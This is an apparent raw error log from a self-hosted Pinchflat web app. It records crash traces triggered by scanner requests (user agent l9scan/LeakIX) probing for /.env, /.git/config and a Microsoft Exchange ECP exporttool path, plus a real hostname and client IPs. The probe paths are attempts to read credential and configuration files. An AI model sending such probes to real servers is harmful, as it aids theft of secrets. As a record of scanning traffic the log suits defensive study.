"settings" AS s0 LIMIT 1 [] 17:50:36.677 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:36.678 [error] #PID<0.162742.0> running PinchflatWeb.Endpoint (connection #PID<0.162741.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162741.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46532}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162742.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJBRO-YV_MhcAFoVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162741.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46532}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162741.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46532}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162742.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJBRO-YV_MhcAFoVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {Pinchfl (truncated) 17:50:38.166 [info] GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 17:50:38.167 [debug] QUERY OK source="settings" db=0.1ms idle=1489.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:38.167 [debug] QUERY OK source="settings" db=0.1ms idle=1489.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:38.167 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:38.167 [error] #PID<0.162744.0> running PinchflatWeb.Endpoint (connection #PID<0.162743.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162743.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46546}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162744.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJG0YPHGG5ZcAFoVh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162743.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46546}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162743.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46546}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162744.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-fo (truncated) 17:50:38.673 [info] GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application 17:50:38.674 [debug] QUERY OK source="settings" db=0.1ms idle=1390.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:38.674 [debug] QUERY OK source="settings" db=0.1ms idle=1332.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:38.674 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:38.674 [error] #PID<0.162746.0> running PinchflatWeb.Endpoint (connection #PID<0.162745.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162745.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46556}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162746.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJItSJZ0WBUcAFoWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162745.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46556}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162745.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46556}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162746.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.8 (truncated) 17:50:40.176 [info] GET /.git/config 17:50:40.177 [debug] QUERY OK source="settings" db=0.1ms idle=1502.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:40.177 [debug] QUERY OK source="settings" db=0.1ms idle=1502.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:40.177 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:40.177 [error] #PID<0.162748.0> running PinchflatWeb.Endpoint (connection #PID<0.162747.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162748.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJOTqUtG4sYIAFoWh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 46558}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162748.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJOTqUtG4sYIAFoWh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 17:50:40.682 [info] GET /.git/config 17:50:40.682 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1398.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:40.683 [debug] QUERY OK source="settings" db=0.1ms idle=1338.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:40.683 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 